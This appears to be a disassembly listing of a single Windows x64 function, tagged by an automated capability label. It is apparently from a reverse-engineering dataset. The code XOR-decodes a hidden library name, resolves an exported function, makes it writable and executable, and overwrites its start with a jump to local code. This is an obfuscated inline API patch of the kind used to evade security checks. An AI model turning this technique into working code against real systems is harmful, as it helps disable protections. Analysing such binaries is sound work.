Function at 0x140001460
Capabilities:
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rsi, rcx
mov dword [rbp - 0x48], 0x102191e
mov dword [rbp - 0x44], 0x20495457
lea r14, str.kjgsdfgDFGJSDDSgj.2kdfg_6Ssh23DSFDSFSDfsd__09e8fd____sdsmnko9348_32__SADAX1_jsdv__dsfkl_
mov word [rbp - 0x40], 0x2b2a
mov r8, 0xffffffffffffffff
mov byte [rbp - 0x3e], 0
nop dword [rax + rax]
inc r8
cmp byte [r14 + r8], 0
jne 0x1400014b0
xor ebx, ebx
lea rcx, [rbp - 0x48]
mov r9d, ebx
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], bl
jne 0x1400014d0
test rax, rax
je 0x140001516
lea r10, [rbp - 0x48]
mov eax, r9d
lea r10, [r10 + 1]
cdq
mov rcx, 0xffffffffffffffff
idiv r8d
movsxd rax, edx
movzx eax, byte [rax + r14]
xor byte [r10 - 1], al
lea rax, [rbp - 0x48]
inc r9d
inc rcx
cmp byte [rax + rcx], bl
jne 0x140001506
movsxd rax, r9d
cmp rax, rcx
jb 0x1400014e1
lea rcx, [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [r14 + r8], bl
jne 0x140001530
lea rcx, [rbp - 0x48]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], bl
jne 0x140001544
test rax, rax
je 0x140001594
lea r9, [rbp - 0x48]
nop word [rax + rax]
mov eax, ebx
lea r9, [r9 + 1]
cdq
lea rcx, [rbp - 0x48]
idiv r8d
movsxd rax, edx
movzx eax, byte [rax + r14]
xor byte [r9 - 1], al
mov rax, 0xffffffffffffffff
inc ebx
inc rax
cmp byte [rcx + rax], 0
jne 0x140001583
movsxd rcx, ebx
cmp rcx, rax
jb 0x140001560
test rdi, rdi
jne 0x1400015af
lea rcx, str.Failed_to_load_n
call fcn.140001010
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [0x1400032e0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x140001616
movdqa xmm0, xmmword [0x1400032f0]
lea rcx, [rbp - 0x38]
movdqa xmm1, xmmword [0x140003300]
movdqu xmmword [rbp - 0x38], xmm0
mov word [rbp - 0x18], 0x3520
movdqu xmmword [rbp - 0x28], xmm1
mov byte [rbp - 0x16], al
call fcn.140001290
lea rdx, [rbp - 0x38]
lea rcx, [0x1400032c8]
call fcn.140001010
lea rcx, [rbp - 0x38]
call fcn.140001290
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movsd xmm0, qword [rax]
lea rcx, [0x140001310]
movsd qword [rsi], xmm0
lea r9, [rbp - 0x50]
mov eax, dword [rax + 8]
mov r14, rcx
mov dword [rsi + 8], eax
mov edx, 0xc
mov qword [rsp + 0xb8], r12
mov rax, rcx
shr rax, 0x30
mov rsi, rcx
mov qword [rbp - 0x60], rax
mov r12, rcx
mov rax, rcx
mov qword [rsp + 0xc0], r13
mov r13, rcx
mov qword [rsp + 0xc8], r15
mov r15, rcx
shr rax, 0x38
lea r8d, [rdx + 0x34]
mov qword [rbp - 0x58], rax
mov rcx, rbx
shr rsi, 8
shr r14, 0x10
shr r15, 0x18
shr r12, 0x20
shr r13, 0x28
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000169f
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov word [rbx], 0xb848
lea rax, [0x140001310]
mov byte [rbx + 2], al
mov rcx, rdi
mov rax, qword [rbp - 0x60]
mov byte [rbx + 3], sil
mov byte [rbx + 4], r14b
mov byte [rbx + 5], r15b
mov byte [rbx + 6], r12b
mov byte [rbx + 7], r13b
mov byte [rbx + 8], al
mov rax, qword [rbp - 0x58]
mov byte [rbx + 9], al
mov word [rbx + 0xa], 0xe0ff
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r13, qword [rsp + 0xc0]
mov r12, qword [rsp + 0xb8]
mov r15, qword [rsp + 0xc8]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001730
add rsp, 0x80
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret